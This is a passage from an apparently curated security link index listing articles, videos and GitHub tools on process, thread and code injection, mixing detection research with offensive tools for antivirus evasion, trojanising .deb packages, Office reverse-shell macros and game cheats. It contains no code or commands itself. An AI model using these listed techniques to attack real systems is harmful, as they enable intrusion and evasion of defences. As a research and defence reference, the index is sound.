- 2017.11 [fireeye] [Ursnif 变种使用 TLS 回调技巧实现进程注入](https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html)
- 2017.11 [freebuf] [使用恶意软件将隐藏代码注入已知进程的渗透研究](http://www.freebuf.com/articles/system/153795.html)
- 2017.11 [OALabs] [Unpacking Process Injection Malware With IDA PRO (Part 2)](https://www.youtube.com/watch?v=kdNQhfgoQoU)
- 2017.11 [OALabs] [Unpacking Process Injection Malware With IDA PRO (Part 1)](https://www.youtube.com/watch?v=ScBB-Hi7NxQ)
- 2017.10 [securityintelligence] [Diving Into Zberp’s Unconventional Process Injection Technique](https://securityintelligence.com/diving-into-zberps-unconventional-process-injection-technique/)
- 2017.09 [4hou] [无需Ptrace就能实现Linux进程间代码注入](http://www.4hou.com/technology/7614.html)
- 2017.09 [gdssecurity] [Linux 进程内代码注入（无需Ptrace）](https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html)
- 2017.08 [pediy] [[翻译]十种注入技巧:具有通用性的进程注入技巧研究](https://bbs.pediy.com/thread-220500.htm)
- 2017.07 [4hou] [十种流行进程注入技术详细分析](http://www.4hou.com/technology/6735.html)
- 2017.07 [360] [10种常见的进程注入技术的总结](https://www.anquanke.com/post/id/86463/)
- 2017.07 [endgame] [10种进程注入技术：普通和流行的进程注入技术调查](https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process)
- 2017.07 [vulnerablelife] [Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques](https://vulnerablelife.wordpress.com/2017/07/18/ten-process-injection-techniques-a-technical-survey-of-common-and-trending-process-injection-techniques/)
- 2017.07 [microsoft] [Detecting stealthier cross-process injection techniques with Windows Defender ATP: Process hollowing and atom bombing](https://cloudblogs.microsoft.com/microsoftsecure/2017/07/12/detecting-stealthier-cross-process-injection-techniques-with-windows-defender-atp-process-hollowing-and-atom-bombing/)
- 2017.07 [struppigel] [Process Injection Info Graphic](https://struppigel.blogspot.com/2017/07/process-injection-info-graphic.html)
- 2017.07 [freebuf] [pyrasite – 向python进程注入代码工具](http://www.freebuf.com/sectool/139120.html)
- 2017.05 [MalwareAnalysisForHedgehogs] [Malware Analysis - Code Injection via CreateRemoteThread & WriteProcessMemory](https://www.youtube.com/watch?v=W_rAxPm4TTU)
- 2017.04 [4hou] [在Linux下使用ptrace向sshd进程注入任意代码](http://www.4hou.com/technology/4446.html)
- 2017.03 [360] [DoubleAgent：代码注入和持久化技术--允许在任何Windows版本上控制任何进程](https://www.anquanke.com/post/id/85775/)
- 2017.03 [] [DoubleAgent技术：任意进程下代码注入与权限维持](http://0day5.com/archives/4364/)
- 2017.03 [microsoft] [Uncovering cross-process injection with Windows Defender ATP](https://cloudblogs.microsoft.com/microsoftsecure/2017/03/08/uncovering-cross-process-injection-with-windows-defender-atp/)
- 2017.02 [4hou] [32位程序对64位进程的远程注入实现](http://www.4hou.com/technology/3426.html)
- 2016.02 [360] [linux-inject：注入代码到运行的Linux进程中](https://www.anquanke.com/post/id/83423/)
- 2015.08 [pediy] [[原创]win7 32位进程注入64位进程](https://bbs.pediy.com/thread-203762.htm)
- 2015.08 [christophertruncer] [Injecting Shellcode into a Remote Process with Python](https://www.christophertruncer.com/injecting-shellcode-into-a-remote-process-with-python/)
- 2015.08 [pediy] [[原创]纯C++编写Win32/X64通用Shellcode注入csrss进程.](https://bbs.pediy.com/thread-203140.htm)
- 2015.08 [securestate] [Injecting Python Code Into Native Processes](https://warroom.securestate.com/injecting-python-code-into-native-processes/)
- 2015.08 [securestate] [Injecting Python Code Into Native Processes](https://warroom.rsmus.com/injecting-python-code-into-native-processes/)
- 2015.05 [redcanary] [What Red Canary Detects: Spotlight on Process Injection](https://redcanary.com/blog/what-red-canary-detects-process-injection/)
- 2015.04 [pediy] [[原创]一个Win7X64内核注入32位进程的例子](https://bbs.pediy.com/thread-200027.htm)
- 2014.07 [pediy] [[原创]C++进程注入（通过远程线程注入进程）](https://bbs.pediy.com/thread-190291.htm)
- 2014.06 [lastline] [Dissecting Payload Injection Using LLama Process Snapshots](https://www.lastline.com/labsblog/dissecting-payload-injection-using-llama-process-snapshots/)
- 2014.05 [talosintelligence] [Betabot Process Injection](https://blog.talosintelligence.com/2014/05/betabot-process-injection.html)
- 2014.03 [pediy] [[原创]注入安卓进程,并hook java世界的方法](https://bbs.pediy.com/thread-186054.htm)
- 2013.05 [lhj0711010212] [使用injectso技术注入mtrace，对进程进行内存检测](https://blog.csdn.net/lhj0711010212/article/details/8999413)
- 2013.04 [pediy] [[原创]另类注入 傀儡进程测试](https://bbs.pediy.com/thread-170530.htm)
- 2013.03 [pediy] [[原创]<<游戏外挂攻防艺术>>注入2.3节依赖可信进程注入](https://bbs.pediy.com/thread-163701.htm)
- 2013.01 [pediy] [[原创]多种注入进程](https://bbs.pediy.com/thread-161250.htm)
- 2012.04 [dreamofareverseengineer] [Identifying malicious injected code in Legit Process through dynamic analysis:](http://dreamofareverseengineer.blogspot.com/2012/04/identifying-malicious-injected-code-in.html)
- 2011.07 [firebitsbr] [Syringe utility provides ability to inject shellcode into processes](https://firebitsbr.wordpress.com/2011/07/08/syringe-utility-provides-ability-to-inject-shellcode-into-processes/)
- 2010.10 [pediy] [[原创]劫持正在运行进程的EIP注入代码的方法](https://bbs.pediy.com/thread-122890.htm)
- 2010.08 [pediy] [[原创]创建远程线程，将代码注入到其它进程中执行](https://bbs.pediy.com/thread-119091.htm)
- 2010.08 [console] [Bypassing AntiVirus With Process Injection](http://console-cowboys.blogspot.com/2010/08/bypassing-antivirus-with-process.html)
- 2007.12 [pediy] [[原创]进程注入——一个同时支持Win98, WinMe, Win2000, WinXp 的方法(源代码加详细注释)](https://bbs.pediy.com/thread-56751.htm)
- 2007.04 [pediy] [[原创]三线程..进程保护@远线程直接代码注入 for Delphi](https://bbs.pediy.com/thread-42594.htm)
- 2004.06 [pediy] [用进程注入来实现一个壳](https://bbs.pediy.com/thread-1564.htm)
# <a id="3b2252d379d384475de4654bd5d0b368"></a>线程注入
***
## <a id="9ff33dd10584407a654590a7cf18c6f0"></a>工具
- [**49**星][2y] [C] [vallejocc/poc-inject-data-wm_copydata](https://github.com/vallejocc/poc-inject-data-wm_copydata) A tiny PoC to inject and execute code into explorer.exe with WM_SETTEXT+WM_COPYDATA+SetThreadContext
***
## <a id="a7433a31e0f33f936d15d6ad61437bc6"></a>文章
- 2020.03 [trustedsec] [Avoiding Get-InjectedThread for Internal Thread Creation](https://www.trustedsec.com/blog/avoiding-get-injectedthread-for-internal-thread-creation/)
- 2018.12 [pediy] [[原创]远程线程注入计算器](https://bbs.pediy.com/thread-248676.htm)
- 2018.04 [xpnsec] [PowerShell脚本Get-InjectedThread可枚举进程, 并判定进程是否被注入. 文章解释脚本监测原理, 以及绕过此种监测的方式](https://blog.xpnsec.com/undersanding-and-evading-get-injectedthread/)
- 2018.03 [pediy] [[原创]驱动注入用户线程之跨session通知csrss之真正解决](https://bbs.pediy.com/thread-225047.htm)
- 2017.10 [pediy] [[原创]ReflectiveLoader（远程线程的注入 PE的修正）](https://bbs.pediy.com/thread-222187.htm)
- 2017.05 [4hou] [免杀新姿势：利用线程将恶意代码注入到内存中](http://www.4hou.com/technology/4819.html)
- 2014.06 [dreamofareverseengineer] [Monitoring Thread Injection](http://dreamofareverseengineer.blogspot.com/2014/06/monitoring-thread-injection.html)
- 2009.10 [pediy] [[原创]老生常谈-远程线程注入](https://bbs.pediy.com/thread-98944.htm)
- 2006.02 [pediy] [[原创]ShellCode的另外一种玩法(远程线程注入ShellCode)](https://bbs.pediy.com/thread-21123.htm)
# <a id="02a1807b6a7131af27e3ed1002e7335a"></a>代码注入
***
## <a id="303ed79296c5af9c74cfd49dd31a399e"></a>工具
- [**6260**星][10d] [ObjC] [johnno1962/injectionforxcode](https://github.com/johnno1962/injectionforxcode) Runtime Code Injection for Objective-C & Swift
- [**2386**星][2y] [Py] [danmcinerney/lans.py](https://github.com/danmcinerney/lans.py) 注入代码并监视wifi用户
- [**1685**星][11d] [Py] [epinna/tplmap](https://github.com/epinna/tplmap) 代码注入和服务器端模板注入（Server-Side Template Injection）漏洞利用，若干沙箱逃逸技巧。
- [**1470**星][4m] [Swift] [johnno1962/injectioniii](https://github.com/johnno1962/injectioniii) 在(大部分)Swift4中重写Xcode的注入
- [**1112**星][14d] [ObjC] [dyci/dyci-main](https://github.com/dyci/dyci-main) Dynamic Code Injection Tool for Objective-C
- [**983**星][3y] [C] [cybellum/doubleagent](https://github.com/cybellum/doubleagent) Zero-Day Code Injection and Persistence Technique
- [**614**星][16d] [C++] [breakingmalwareresearch/atom-bombing](https://github.com/breakingmalwareresearch/atom-bombing) Brand New Code Injection for Windows
- [**265**星][5y] [C++] [breakingmalware/powerloaderex](https://github.com/breakingmalware/powerloaderex) Advanced Code Injection Technique for x32 / x64
- [**249**星][8y] [rentzsch/mach_star](https://github.com/rentzsch/mach_star) code injection and function overriding for Mac OS X
- [**228**星][12d] [C++] [marcosd4h/memhunter](https://github.com/marcosd4h/memhunter) Live hunting of code injection techniques
- [**214**星][17d] [C] [peperunas/injectopi](https://github.com/peperunas/injectopi) 一堆Windows 代码注入教程
- [**186**星][7m] [ObjC] [nakiostudio/twitterx](https://github.com/nakiostudio/twitterx) Keeping Twitter for macOS alive with code injection
- [**170**星][2y] [Py] [undeadsec/debinject](https://github.com/undeadsec/debinject) Inject malicious code into *.debs
- [**116**星][22d] [C#] [p0cl4bs/hanzoinjection](https://github.com/p0cl4bs/hanzoinjection) injecting arbitrary codes in memory to bypass common antivirus solutions
- [**91**星][2m] [Py] [hackatnow/cromos](https://github.com/hackatnow/cromos) 一个工具，下载合法的扩展Chrome网络商店和注入代码的应用程序的背景
- [**90**星][4y] [Java] [zerothoughts/spring-jndi](https://github.com/zerothoughts/spring-jndi) Proof of concept exploit, showing how to do bytecode injection through untrusted deserialization with Spring Framework 4.2.4
- [**66**星][2y] [Java] [sola-da/synode](https://github.com/sola-da/synode) Automatically Preventing Code Injection Attacks on Node.js
- [**65**星][3y] [Py] [sethsec/pycodeinjection](https://github.com/sethsec/pycodeinjection) Automated Python Code Injection Tool
- [**65**星][3m] [Py] [tbarabosch/quincy](https://github.com/tbarabosch/quincy) 在内存转储中检测基于主机的代码注入攻击
- [**49**星][2m] [C#] [guibacellar/dnci](https://github.com/guibacellar/dnci) DNCI - Dot Net Code Injector
- [**48**星][3y] [C++] [tonyzesto/pubgprivxcode85](https://github.com/tonyzesto/pubgprivxcode85) 简单chams wallhack为玩家未知的战场使用D3D11DrawIndexed钩子功能列表
- [**47**星][1y] [C] [yifanlu/3ds_injector](https://github.com/yifanlu/3ds_injector) Open source implementation of loader module with code injection support
- [**46**星][7m] [C] [rodionovd/task_vaccine](https://github.com/rodionovd/task_vaccine) Yet another code injection library for OS X
- [**37**星][2m] [C] [sduverger/ld-shatner](https://github.com/sduverger/ld-shatner) ld-linux code injector
- [**34**星][2y] [C++] [ntraiseharderror/dreadnought](https://github.com/ntraiseharderror/dreadnought) PoC for detecting and dumping code injection (built and extended on UnRunPE)
- [**27**星][4y] [Java] [zerothoughts/jndipoc](https://github.com/zerothoughts/jndipoc) Proof of concept showing how java byte code can be injected through InitialContext.lookup() calls
- [**27**星][6m] [Java] [dinject/dinject](https://github.com/dinject/dinject) Dependency injection via APT (source code generation) ala "Server side Dagger DI"
- [**25**星][7m] [Py] [batteryshark/miasma](https://github.com/batteryshark/miasma) Cross-Platform Binary OTF Patcher, Code Injector, Hacking Utility
- [**25**星][3y] [C++] [hatriot/delayloadinject](https://github.com/hatriot/delayloadinject) Code injection via delay load libraries
- [**20**星][2y] [c] [odzhan/propagate](https://github.com/odzhan/propagate) PROPagate code injection technique example
- [**19**星][3y] [Swift] [depoon/injectiblelocationspoofing](https://github.com/depoon/injectiblelocationspoofing) Location Spoofing codes for iOS Apps via Code Injection
- [**18**星][6y] [ObjC] [mhenr18/injector](https://github.com/mhenr18/injector) Code injection + payload communications for OSX (incl. sandboxed apps)
- [**17**星][2m] [C++] [sunsided/native-dotnet-code-injection](https://github.com/sunsided/native-dotnet-code-injection) Injection of managed code into non-managed Windows applications
- [**14**星][2m] [C#] [gerich-home/lua-inject](https://github.com/gerich-home/lua-inject) Inject any C# code into programs with lua
- [**13**星][3y] [C] [tbarabosch/1001-injects](https://github.com/tbarabosch/1001-injects) Tiny research project to understand code injections on Linux based systems
- [**13**星][3m] [C++] [revsic/codeinjection](https://github.com/revsic/codeinjection) Code Injection technique written in cpp language
- [**11**星][2y] [C] [gdbinit/calcspace](https://github.com/gdbinit/calcspace) Small util to calculate available free space in mach-o binaries for code injection
- [**11**星][7y] [C#] [yifanlu/vitainjector](https://github.com/yifanlu/vitainjector) Inject userland ARM code through PSM
- [**9**星][19d] [Py] [bao7uo/waf-cookie-fetcher](https://github.com/bao7uo/waf-cookie-fetcher) 一个用Python编写的Burp套件扩展，它使用一个无头浏览器来获取注入晶圆的cookie的值，这些cookie是通过客户端JavaScript代码在浏览器中计算出来的，并将它们添加到Burp的cookie jar中
- [**9**星][6m] [Py] [mpgn/cve-2018-16341](https://github.com/mpgn/cve-2018-16341) CVE-2018-16341 - Nuxeo Remote Code Execution without authentication using Server Side Template Injection
- [**7**星][2y] [PHP] [jpapayan/aspis](https://github.com/jpapayan/aspis) A PHP code transformer to provide protection against injection attacks
- [**6**星][2y] [Py] [andreafortuna/pycodeinjector](https://github.com/andreafortuna/pycodeinjector) Python code injection library
- [**4**星][1y] [Java] [righettod/injection-cheat-sheets](https://github.com/righettod/injection-cheat-sheets) Provide some tips to handle Injection into application code (OWASP TOP 10 - A1).
- [**2**星][2y] [Standard ML] [11digits/php-clean-malware](https://github.com/11digits/php-clean-malware) Simple PHP code to assist in cleaning of injected malware PHP code
- [**2**星][9m] [C++] [thepwnrip/code-injection](https://github.com/thepwnrip/code-injection) A collection of methods of Code Injection on Windows
- [**1**星][1y] [C++] [smore007/remote-iat-hook](https://github.com/smore007/remote-iat-hook) Remote IAT hook example. Useful for code injection
- [**None**星][Py] [thelinuxchoice/eviloffice](https://github.com/thelinuxchoice/eviloffice) Inject Macro and DDE code into Excel and Word documents (reverse shell)
***
## <a id="5e603e03f62d50e6fa8310e15470f233"></a>文章
- 2020.05 [hexacorn] [New Code Injection/Execution – Marsh…mellow](http://www.hexacorn.com/blog/2020/05/14/new-code-injection-execution-marsh-mellow/)
- 2020.04 [hexacorn] [Code Injection everyone forgets about](http://www.hexacorn.com/blog/2020/04/09/code-injection-everyone-forgets-about/)
- 2020.03 [WHIDInjector] [Remotely Injecting Keystrokes through an Industrial Barcode](https://www.youtube.com/watch?v=wJ1PFpHxA9Y)
- 2020.01 [hakin9] [Memhunter - Live Hunting Of Code Injection Techniques](https://hakin9.org/memhunter-live-hunting-of-code-injection-techniques/)
- 2020.01 [WarrantyVoider] [RE with WV - Episode #7 Binary Editing and Code Injection](https://www.youtube.com/watch?v=sRACOY3eRsU)
- 2019.12 [HackersOnBoard] [DEF CON 27 - Alon Weinberg - Please Inject Me a x64 Code Injection](https://www.youtube.com/watch?v=CMq4NQ2snNs)
- 2019.12 [sevagas] [Code Injection - Exploit WNF callback](https://blog.sevagas.com/?Code-Injection-Exploit-WNF-callback)
- 2019.12 [sevagas] [Code Injection - Disable Dynamic Code Mitigation (ACG)](https://blog.sevagas.com/?Code-Injection-Disable-Dynamic-Code-Mitigation-ACG)
- 2019.11 [ojasookert] [Macy’s, Magecart, Black Friday, and JavaScript Code Injection](https://medium.com/p/3c54ac741b0f)
- 2019.10 [talosintelligence] [YouPHPTube Encoder base64Url multiple command injections](https://talosintelligence.com/vulnerability_reports/TALOS-2019-0917)
- 2019.09 [netsparker] [What is Code Injection and How to Avoid It](https://www.netsparker.com/blog/web-security/code-injection/)
- 2019.09 [aliyun] [初探代码注入](https://xz.aliyun.com/t/6253)
- 2019.08 [bugbountywriteup] [When i found php code injection](https://medium.com/p/87e8e30afe59)
- 2019.07 [bromium] [Dridex’s Bag of Tricks: An Analysis of its Masquerading and Code Injection Techniques](https://www.bromium.com/dridex-threat-analysis-july-2019-variant/)
- 2019.07 [aliyun] [Discuz!ML V3.X 代码注入分析](https://xz.aliyun.com/t/5638)
- 2019.06 [pewpewthespells] [Blocking Code Injection on iOS and OS X](https://pewpewthespells.com/blog/blocking_code_injection_on_ios_and_os_x.pdf)
- 2019.05 [hexacorn] [‘Plata o plomo’ code injections/execution tricks](http://www.hexacorn.com/blog/2019/05/26/plata-o-plomo-code-injections-execution-tricks/)
- 2019.05 [HackerSploit] [Bug Bounty Hunting - PHP Code Injection](https://www.youtube.com/watch?v=GE2HyC7Gwrs)
- 2019.04 [hexacorn] [SHLoadInProc – The Non-Working Code Injection trick from the past](http://www.hexacorn.com/blog/2019/04/30/shloadinproc-the-non-working-code-injection-trick-from-the-past/)
- 2019.04 [hexacorn] [Listplanting – yet another code injection trick](http://www.hexacorn.com/blog/2019/04/25/listplanting-yet-another-code-injection-trick/)
- 2019.04 [hexacorn] [3 new code injection tricks](http://www.hexacorn.com/blog/2019/04/24/3-new-code-injection-tricks/)
- 2019.04 [hexacorn] [Treepoline – new code injection technique](http://www.hexacorn.com/blog/2019/04/24/treepoline-new-code-injection-technique/)
- 2019.04 [hexacorn] [WordWarper – new code injection trick](http://www.hexacorn.com/blog/2019/04/23/wordwarper-new-code-injection-trick/)
- 2019.04 [JosephDelgadillo] [Learn System Hacking E6: PHP Code Injection](https://www.youtube.com/watch?v=paVE2Rx8mZI)
- 2019.03 [freebuf] [Java代码审计之SpEL表达式注入](https://www.freebuf.com/vuls/197008.html)
- 2019.03 [aditya12anand] [How to write secure code against injection attacks?](https://medium.com/p/aad4fff058da)
- 2019.03 [andreafortuna] [A simple Windows code Injection example written in C#](https://www.andreafortuna.org/programming/a-simple-windows-code-injection-example-written-in-c/)
- 2018.12 [360] [Linux Userland内存代码注入实践](https://www.anquanke.com/post/id/168204/)
- 2018.12 [aliyun] [HubL中的EL注入导致远程代码执行](https://xz.aliyun.com/t/3605)
- 2018.11 [aliyun] [[红日安全]代码审计Day17 - Raw MD5 Hash引发的注入](https://xz.aliyun.com/t/3375)
- 2018.11 [freebuf] [clrinject：向CLR Runtimes和AppDomain中注入代码的工具](https://www.freebuf.com/sectool/187541.html)
- 2018.10 [MSbluehat] [BlueHat v18 || Memory resident implants - code injection is alive and well](https://www.slideshare.net/MSbluehat/bluehat-v18-memory-resident-implants-code-injection-is-alive-and-well)
- 2018.09 [ironcastle] [More Excel DDE Code Injection, (Fri, Sep 28th)](https://www.ironcastle.net/more-excel-dde-code-injection-fri-sep-28th/)
- 2018.09 [sans] [More Excel DDE Code Injection](https://isc.sans.edu/forums/diary/More+Excel+DDE+Code+Injection/24150/)
- 2018.09 [bugbountywriteup] [Injecting tourism website running codeigniter](https://medium.com/p/e3c5370236c2)
- 2018.08 [andreafortuna] [pycodeinjector: a simple python Code Injection library](https://www.andreafortuna.org/programming/pycodeinjector-a-simple-python-code-injection-library/)
- 2018.08 [trustedsec] [Breaking Down the PROPagate Code Injection Attack](https://www.trustedsec.com/2018/08/breaking-down-the-propagate-code-injection-attack/)
- 2018.08 [andreafortuna] [Code injection on Windows using Python: a simple example](https://www.andreafortuna.org/programming/code-injection-on-windows-using-python-a-simple-example/)
- 2018.07 [4hou] [Firefox里的未知扩展正在将不需要的代码注入用户访问过的网站](http://www.4hou.com/vulnerable/12803.html)
- 2018.07 [aliyun] [服务器端电子表格注入 - 从公式注入到远程代码执行](https://xz.aliyun.com/t/2476)
- 2018.06 [bishopfox] [服务器端Spreadsheet注入: 利用公式注入实现RCE](https://www.bishopfox.com/blog/2018/06/server-side-spreadsheet-injections/)
- 2018.05 [freebuf] [黑客公布Signal通讯软件中的代码注入攻击](http://www.freebuf.com/news/171824.html)
- 2018.04 [freebuf] [PentesterLab新手教程（一）：代码注入](http://www.freebuf.com/sectool/168653.html)
- 2018.04 [4hou] [Early Bird代码注入可绕过杀毒软件检测](http://www.4hou.com/technology/11109.html)
- 2018.04 [freebuf] [$_SERVER[SCRIPT_NAME]变量可值注入恶意代码](http://www.freebuf.com/articles/web/166263.html)
- 2018.02 [360] [从概念到实际应用：详细讲解用户级API监控和代码注入检测方法](https://www.anquanke.com/post/id/98770/)
- 2018.01 [aliyun] [某电商前台代码注入](https://xz.aliyun.com/t/1982)
- 2018.01 [doyler] [Nodejs Code Injection (EverSec CTF – BSides Raleigh 2017)](https://www.doyler.net/security-not-included/nodejs-code-injection)
- 2018.01 [4hou] [星巴克挖矿事件分析：黑客是如何黑掉WiFi并将挖矿代码注入到HTML页面的？](http://www.4hou.com/wireless/9773.html)
- 2018.01 [4hou] [PoS端恶意软件LockPoS携新型代码注入技术强势回归](http://www.4hou.com/info/news/9774.html)
- 2018.01 [oherrala] [Using static typing to protect against code injection attacks](https://medium.com/p/353002ca6f2b)
- 2017.12 [4hou] [代码注入技术Process Doppelgänging利用介绍](http://www.4hou.com/technology/9379.html)
- 2017.12 [4hou] [新型代码注入攻击（Process Doppelgänging）：可绕过大多数AV检测](http://www.4hou.com/system/9183.html)
- 2017.11 [4hou] [Wi-Fi网络中，翻转照片，注入恶意代码到客户端](http://www.4hou.com/wireless/8559.html)
- 2017.11 [freebuf] [PROPagate：一种新的代码注入技巧介绍](http://www.freebuf.com/news/153041.html)
- 2017.11 [l0wb1tUC] [COD WWII Code Injection Fail](https://www.youtube.com/watch?v=ngeCZu4g4vw)
- 2017.11 [hexacorn] [PROPagate – a new code injection trick – 64-bit and 32-bit](http://www.hexacorn.com/blog/2017/11/03/propagate-a-new-code-injection-trick-64-bit-and-32-bit/)
- 2017.10 [4hou] [PROPagate——一种新的代码注入技巧](http://www.4hou.com/binary/8222.html)
- 2017.10 [hexacorn] [新的代码注入技巧 PROPagate](http://www.hexacorn.com/blog/2017/10/26/propagate-a-new-code-injection-trick/)
- 2017.09 [decktonic] [How one hacker stole thousands of dollars worth of cryptocurrency with a classic code injection…](https://medium.com/p/a3aba5d2bff0)
- 2017.09 [freebuf] [LANs.py：一款可以实现代码注入，无线渗透和WiFi用户监控的强大工具](http://www.freebuf.com/sectool/147605.html)
- 2017.09 [arxiv] [[1709.05690] BabelView: Evaluating the Impact of Code Injection Attacks in Mobile Webviews](https://arxiv.org/abs/1709.05690)
- 2017.08 [defencely] [Achieving Code Injection on Trendy – Sarahah.com](https://defencely.com/blog/achieving-code-injection-on-trendy-sarahah-com/)
- 2017.07 [bogner] [Code Injection in Slack’s Windows Desktop Client leads to Privilege Escalation](https://bogner.sh/2017/07/code-injection-in-slacks-windows-desktop-client-leads-to-privilege-escalation/)
- 2017.06 [trendmicro] [勒索软件 SOREBRECT 分析。采用了“无文件”、利用 PsExec 注入代码等技术](https://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-fileless-code-injecting-sorebrect-ransomware/)
- 2017.04 [welivesecurity] [Fake Chrome extensions inject code into web pages](https://www.welivesecurity.com/2017/04/28/fake-chrome-extensions-inject-code-web-pages/)
- 2017.04 [n0where] [Inject Custom Code Into PE File: InfectPE](https://n0where.net/inject-custom-code-into-pe-file-infectpe)
- 2017.03 [mstajbakhsh] [Smali Code Injection: Playing with 2048!](https://mstajbakhsh.ir/smali-code-injection-playing-with-2048/)
- 2017.03 [HackingMonks] [Remote Code Injection on DVWA medium](https://www.youtube.com/watch?v=eoZC5vsnTtw)
- 2017.03 [360] [AtomBombing：Windows的全新代码注入技术](https://www.anquanke.com/post/id/85675/)
- 2017.02 [360] [如何在.ipa文件上进行iOS代码注入](https://www.anquanke.com/post/id/85553/)
- 2017.01 [securiteam] [SSD Advisory – Icewarp, AfterLogic and MailEnable Code Injection](https://blogs.securiteam.com/index.php/archives/2937)
- 2017.01 [sentinelone] [What Is Code Injection?](https://www.sentinelone.com/blog/atombombing-code-injection-threat-hype/)
- 2017.01 [csyssec] [二进制代码注入PIN](http://www.csyssec.org/20170104/pinintro/)
- 2016.12 [mstajbakhsh] [Smali Code Injection](https://mstajbakhsh.ir/smali-code-injection/)
- 2016.12 [tevora] [Gaining Code Execution with Injection on Java args](http://threat.tevora.com/quick-tip-gaining-code-execution-with-injection-on-java-args/)
- 2016.11 [doyler] [Exploiting Python Code Injection in Web Applications](https://www.doyler.net/security-not-included/exploiting-python-code-injection)
- 2016.11 [kennethpoon] [How to perform iOS Code Injection on .ipa files](https://medium.com/p/1ba91d9438db)
- 2016.11 [thembits] [Loffice gets a makeover - Gives an insight into antis and detect code injection](http://thembits.blogspot.com/2016/11/loffice-gets-makeover-gives-insight.html)
- 2016.11 [360] [利用Python代码实现Web应用的注入](https://www.anquanke.com/post/id/84891/)
- 2016.11 [sethsec] [Exploiting Python Code Injection in Web Applications](https://sethsec.blogspot.com/2016/11/exploiting-python-code-injection-in-web.html)
- 2016.10 [360] [AtomBombing：全新的Windows代码注入技术](https://www.anquanke.com/post/id/84818/)
- 2016.10 [ensilo] [AtomBombing: A Code Injection that Bypasses Current Security Solutions](https://blog.ensilo.com/atombombing-a-code-injection-that-bypasses-current-security-solutions)
- 2016.10 [venus] [代码审计就该这么来 - 2 Mlecms 注入](https://paper.seebug.org/78/)
- 2016.10 [insinuator] [Linq Injection – From Attacking Filters to Code Execution](https://insinuator.net/2016/10/linq-injection-from-attacking-filters-to-code-execution/)
- 2016.10 [polaris] [PHP Code Injection Analysis](http://polaris-lab.com/index.php/archives/254/)
- 2016.10 [JackkTutorials] [How to perform Remote Code Injection attacks *REUPLOADED*](https://www.youtube.com/watch?v=AuNwk--lfxU)
- 2016.09 [forcepoint] [Highly Evasive Code Injection Awaits User Interaction Before Delivering Malware](https://www.forcepoint.com/blog/security-labs/highly-evasive-code-injection-awaits-user-interaction-delivering-malware)
- 2016.08 [artsploit] [[demo.paypal.com] Node.js code injection (RCE)](http://artsploit.blogspot.com/2016/08/pprce2.html)
- 2016.07 [suchakra] [Unravelling Code Injection in Binaries](https://suchakra.wordpress.com/2016/07/03/unravelling-code-injection-in-binaries/)
- 2016.03 [yifan] [3DS Code Injection through "Loader"](http://yifan.lu/2016/03/28/3ds-code-injection-through-loader/)
- 2015.12 [hexacorn] [IME code injection (old)](http://www.hexacorn.com/blog/2015/12/17/ime-code-injection-old/)
- 2015.08 [securiteam] [SSD Advisory – Symantec NetBackup OpsCenter Server Java Code Injection RCE](https://blogs.securiteam.com/index.php/archives/2557)
- 2015.04 [sensecy] [MitM Attacks Pick Up Speed – A Russian Coder Launches a New Web Injection Coding Service](https://blog.sensecy.com/2015/04/21/mitm-attacks-pick-up-speed-a-russian-coder-launches-a-new-web-injection-coding-service/)
- 2015.03 [pediy] [[原创]代码注入器源码献上](https://bbs.pediy.com/thread-198771.htm)
- 2014.12 [] [逐浪CMS2个文件两个注入5处问题代码 另附其他注入绕过方式](http://0day5.com/archives/2627/)
- 2014.11 [] [代码审计：大米CMS注入](http://www.91ri.org/11542.html)
- 2014.10 [arxiv] [[1410.7756] Code Injection Attacks on HTML5-based Mobile Apps](https://arxiv.org/abs/1410.7756)
- 2014.09 [tribalchicken] [Bash bug allows code injection attack](https://tribalchicken.io/bash-bug-allows-code-injection-attack/)
- 2014.09 [digitaloperatives] [OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection: Local Use](https://www.digitaloperatives.com/2014/09/25/os-x-vmware-fusion-privilege-escalation-via-bash-environment-code-injection/)
- 2014.09 [tribalchicken] [Bash bug allows code injection attack](https://tribalchicken.net/bash-bug-allows-code-injection-attack/)
- 2014.08 [] [HTML5 App的代码注入攻击](http://www.91ri.org/10496.html)
- 2014.03 [pediy] [[原创]对笔记本 Inject code 实验](https://bbs.pediy.com/thread-185635.htm)
- 2014.01 [] [U-Mail注入之任意代码写入exp](http://0day5.com/archives/1210/)
- 2013.12 [lowleveldesign] [Injecting code into .NET applications](https://lowleveldesign.org/2013/12/28/injecting-code-into-net-applications/)
- 2013.11 [imperva] [Threat Advisory: A JBoss AS Exploit, Web Shell code Injection.](https://www.imperva.com/blog/2013/11/threat-advisory-a-jboss-as-exploit-web-shell-code-injection/)
- 2013.08 [scotthelme] [Code Injection - TLS (SSL) is not all about privacy, it's about integrity too](https://scotthelme.co.uk/ssl-about-integrity-too/)
- 2013.08 [sans] [BBCode tag "[php]" used to inject php code](https://isc.sans.edu/forums/diary/BBCode+tag+php+used+to+inject+php+code/16291/)
- 2013.05 [hackingarticles] [Exploit Remote PC using Firefox 17.0.1 + Flash Privileged Code Injection](http://www.hackingarticles.in/exploit-remote-pc-using-firefox-17-0-1-flash-privileged-code-injection/)
- 2013.04 [freebuf] [[php 代码审计]Espcms 暴力注入](http://www.freebuf.com/vuls/8185.html)
- 2013.03 [pediy] [[原创]手机毒霸去广告功能分析三：java代码（dex）注入](https://bbs.pediy.com/thread-166480.htm)
- 2012.12 [hackingarticles] [Bypassing Antivirus using Multi Pyinjector Shell Code Injection in SET Toolkit](http://www.hackingarticles.in/bypassing-antivirus-using-multi-pyinjector-shellcode-injection-in-set-toolkit/)
- 2012.12 [freebuf] [向正在运行的Linux应用程序注入代码](http://www.freebuf.com/articles/system/6388.html)
- 2012.11 [debasish] [Suicide via Remote Code Injection](http://www.debasish.in/2012/11/suicide-via-remote-code-injection.html)
- 2012.10 [volatility] [Reverse Engineering Poison Ivy's Injected Code Fragments](https://volatility-labs.blogspot.com/2012/10/reverse-engineering-poison-ivys.html)
- 2012.08 [cert] [More human than human – Flame’s code injection techniques](https://www.cert.pl/en/news/single/more-human-than-human-flames-code-injection-techniques/)
- 2012.07 [welivesecurity] [Rovnix.D: the code injection story](https://www.welivesecurity.com/2012/07/27/rovnix-d-the-code-injection-story/)
